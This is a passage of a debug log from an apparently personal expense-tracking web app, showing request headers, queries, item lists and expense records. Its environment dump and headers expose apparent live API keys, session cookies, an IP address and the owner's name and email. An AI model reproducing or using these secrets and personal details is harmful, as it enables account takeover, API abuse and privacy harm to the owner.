    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AemJaxIJ%2BN%2FTvixkmSBfeHg%3D%3D.fcOY3%2F%2BXo%2BW4ybtBVRUpEqcU9HZzSW73ydJMPUpF5EMkRNqpU9Py50xjMH%2FGtLKO4B0eYQKsl%2Fbd3CEe%2B%2FysMFmZPNAREeLzbDehyuNfWj7SyBbSFdCYiVtv9je6I%2FPeeeljXT9sJbBbIf7pyjVAsZ6V60OrzFXxagu8Eb9SgaU%3D.zHkL1LtzSoigvB7HUIXB6vXpx%2B73fZpeZvWcjqoyND0; your_r_git.sid=s%3ASfZdOFEmv_loC9sAGwPzBtyecaLT9CzI.9Ai8Do%2B5WXz2cATXMgnc83H0WPqhCslAXYzUvovlIFk',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-02T04:48:27.645Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AemJaxIJ%2BN%2FTvixkmSBfeHg%3D%3D.fcOY3%2F%2BXo%2BW4ybtBVRUpEqcU9HZzSW73ydJMPUpF5EMkRNqpU9Py50xjMH%2FGtLKO4B0eYQKsl%2Fbd3CEe%2B%2FysMFmZPNAREeLzbDehyuNfWj7SyBbSFdCYiVtv9je6I%2FPeeeljXT9sJbBbIf7pyjVAsZ6V60OrzFXxagu8Eb9SgaU%3D.zHkL1LtzSoigvB7HUIXB6vXpx%2B73fZpeZvWcjqoyND0; your_r_git.sid=s%3ASfZdOFEmv_loC9sAGwPzBtyecaLT9CzI.9Ai8Do%2B5WXz2cATXMgnc83H0WPqhCslAXYzUvovlIFk',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-05-01T04:48:29.306Z server-connect:router Serving serverConnect /api/masters/get-items
2026-05-01T04:48:29.307Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-05-01T04:48:29.307Z server-connect:app Executing action step identify
2026-05-01T04:48:29.307Z server-connect:app options: { provider: 'security' }
2026-05-01T04:48:29.308Z server-connect:output identity: 1
2026-05-01T04:48:29.308Z server-connect:app Executing action step restrict
2026-05-01T04:48:29.308Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-01T04:48:29.308Z server-connect:app Executing action step identify
2026-05-01T04:48:29.308Z server-connect:app options: { provider: 'security' }
2026-05-01T04:48:29.308Z server-connect:output identity: 1
2026-05-01T04:48:29.308Z server-connect:app Executing action step restrict
2026-05-01T04:48:29.308Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-01T04:48:29.309Z server-connect:output restrict: undefined
2026-05-01T04:48:29.310Z server-connect:app Executing action step select
2026-05-01T04:48:29.310Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-05-01T04:48:29.312Z server-connect:output restrict: undefined
2026-05-01T04:48:29.312Z server-connect:app Executing action step single
2026-05-01T04:48:29.312Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-05-01T04:48:29.313Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-05-01T04:48:29.317Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-05-01T04:48:32.825Z server-connect:router Serving templateView /expense/list
2026-05-01T04:48:32.825Z server-connect:app Executing action step identify
2026-05-01T04:48:32.825Z server-connect:app options: { provider: 'security' }
2026-05-01T04:48:32.825Z server-connect:output identity: 1
2026-05-01T04:48:32.825Z server-connect:app Executing action step restrict
2026-05-01T04:48:32.825Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-01T04:48:32.826Z server-connect:output restrict: undefined
2026-05-01T04:48:32.826Z server-connect:router Render template expense/list
2026-05-01T04:48:32.826Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/expense/list',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AemJaxIJ%2BN%2FTvixkmSBfeHg%3D%3D.fcOY3%2F%2BXo%2BW4ybtBVRUpEqcU9HZzSW73ydJMPUpF5EMkRNqpU9Py50xjMH%2FGtLKO4B0eYQKsl%2Fbd3CEe%2B%2FysMFmZPNAREeLzbDehyuNfWj7SyBbSFdCYiVtv9je6I%2FPeeeljXT9sJbBbIf7pyjVAsZ6V60OrzFXxagu8Eb9SgaU%3D.zHkL1LtzSoigvB7HUIXB6vXpx%2B73fZpeZvWcjqoyND0; your_r_git.sid=s%3ASfZdOFEmv_loC9sAGwPzBtyecaLT9CzI.9Ai8Do%2B5WXz2cATXMgnc83H0WPqhCslAXYzUvovlIFk',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-02T04:48:27.645Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/expense/list',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/expense/list',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/expense/list',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AemJaxIJ%2BN%2FTvixkmSBfeHg%3D%3D.fcOY3%2F%2BXo%2BW4ybtBVRUpEqcU9HZzSW73ydJMPUpF5EMkRNqpU9Py50xjMH%2FGtLKO4B0eYQKsl%2Fbd3CEe%2B%2FysMFmZPNAREeLzbDehyuNfWj7SyBbSFdCYiVtv9je6I%2FPeeeljXT9sJbBbIf7pyjVAsZ6V60OrzFXxagu8Eb9SgaU%3D.zHkL1LtzSoigvB7HUIXB6vXpx%2B73fZpeZvWcjqoyND0; your_r_git.sid=s%3ASfZdOFEmv_loC9sAGwPzBtyecaLT9CzI.9Ai8Do%2B5WXz2cATXMgnc83H0WPqhCslAXYzUvovlIFk',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-05-01T04:48:33.085Z server-connect:router Serving serverConnect /api/masters/get-tags
2026-05-01T04:48:33.085Z server-connect:router Serving serverConnect /api/expense/list
2026-05-01T04:48:33.086Z server-connect:app Executing action step identify
2026-05-01T04:48:33.086Z server-connect:app options: { provider: 'security' }
2026-05-01T04:48:33.086Z server-connect:output identity: 1
2026-05-01T04:48:33.086Z server-connect:app Executing action step restrict
2026-05-01T04:48:33.086Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-01T04:48:33.086Z server-connect:app Executing action step identify
2026-05-01T04:48:33.086Z server-connect:app options: { provider: 'security' }
2026-05-01T04:48:33.087Z server-connect:output identity: 1
2026-05-01T04:48:33.087Z server-connect:app Executing action step restrict
2026-05-01T04:48:33.087Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-01T04:48:33.087Z server-connect:output restrict: undefined
2026-05-01T04:48:33.087Z server-connect:app Executing action step select
2026-05-01T04:48:33.087Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'm_tags' },
    primary: 'id',
    joins: [],
    query: 'select `id`, `tag` from `m_tags`'
  }
}
2026-05-01T04:48:33.088Z server-connect:output restrict: undefined
2026-05-01T04:48:33.088Z server-connect:app Executing action step paged
2026-05-01T04:48:33.088Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'expense' },
    primary: 'id',
    joins: [ [Object], [Object] ],
    query: 'select `expense`.`invoice_number`, `expense`.`quantity`, `expense`.`purchase_date`, `expense`.`receipt_url`, `expense`.`remark`, `expense`.`amount`, `sc`.`subcategory_name` as `item_name`, `c1`.`name` as `unit` from `expense` inner join `sub_categories` as `sc` on `sc`.`id` = `expense`.`category_id` inner join `collections` as `c1` on `c1`.`id` = `expense`.`unit` where (`expense`.`amount` = ? or `sc`.`subcategory_name` like ? or `c1`.`name` like ?) order by `expense`.`purchase_date` DESC',
    orders: [ [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-05-01T04:48:33.090Z server-connect:output list: [
  { id: 1, tag: 'Gadgets' },
  { id: 2, tag: 'Waste of money' },
  { id: 3, tag: 'Relax' },
  { id: 4, tag: 'Luxury' },
  { id: 5, tag: 'Needs' },
  { id: 6, tag: 'Swiggy' },
  { id: 7, tag: 'Zomato' },
  { id: 8, tag: 'Bills' },
  { id: 9, tag: 'EMIs' },
  { id: 10, tag: 'Blinkit' },
  { id: 11, tag: 'Instamart' }
]
2026-05-01T04:48:33.100Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 1955,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 1950 },
    current: 1,
    total: 79
  },
  data: [
    {
      invoice_number: 1239,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '189.00',
      item_name: 'Clothing',
      unit: 'Other'
    },
    {
      invoice_number: 1244,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '300.00',
      item_name: 'Gas Bill',
      unit: 'Other'
    },
    {
      invoice_number: 1237,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '95.00',
      item_name: 'App Subscription',
      unit: 'Other'
    },
    {
      invoice_number: 1238,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '348.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1240,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'fruits',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '72.00',
      item_name: 'Paneer',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '80.00',
      item_name: 'Paneer Masala',
      unit: 'Other'
    },
    {
      invoice_number: 1231,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '55.00',
      item_name: 'Milk',
      unit: 'Other'
    },
    {
      invoice_number: 1232,
      quantity: '2.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1233,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '585.00',
      item_name: 'Vegetables',
      unit: 'Other'
    },
    {
      invoice_number: 1234,
      quantity: '8.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '1432.00',
      item_name: 'HotWheels',
      unit: 'Piece'
    },
    {
      invoice_number: 1235,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '397.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1236,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '111.00',
      item_name: 'Online Order',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '118.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'Raw Chicken',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '30.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '120.00',
      item_name: 'Egg',
      unit: 'Other'
    },
    {
      invoice_number: 1243,
      quantity: '2.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '184.00',
      item_name: 'GoodKnight Liquid',
      unit: 'Piece'
    },
    {
      invoice_number: 1243,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '519.00',
      item_name: 'Pre workout muscle blaze',
      unit: 'Other'
    },
    {
      invoice_number: 1227,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '3818.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '20.00',
      item_name: 'Pani Puri',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '230.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1229,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '143.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1219,
      quantity: '2.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1220,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '125.00',
      item_name: 'HotWheels World',
      unit: 'Other'
    },
    {
      invoice_number: 1221,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '71.00',
      item_name: 'Vegetables',
      unit: 'Other'
    }
  ]
}
2026-05-01T04:48:34.713Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-05-01T04:48:34.713Z server-connect:router Serving serverConnect /api/expense/last-invoice
2026-05-01T04:48:34.714Z server-connect:app Executing action step identify
2026-05-01T04:48:34.714Z server-connect:app options: { provider: 'security' }
2026-05-01T04:48:34.714Z server-connect:output identity: 1
2026-05-01T04:48:34.714Z server-connect:app Executing action step restrict
2026-05-01T04:48:34.714Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-01T04:48:34.714Z server-connect:app Executing action step identify
2026-05-01T04:48:34.714Z server-connect:app options: { provider: 'security' }
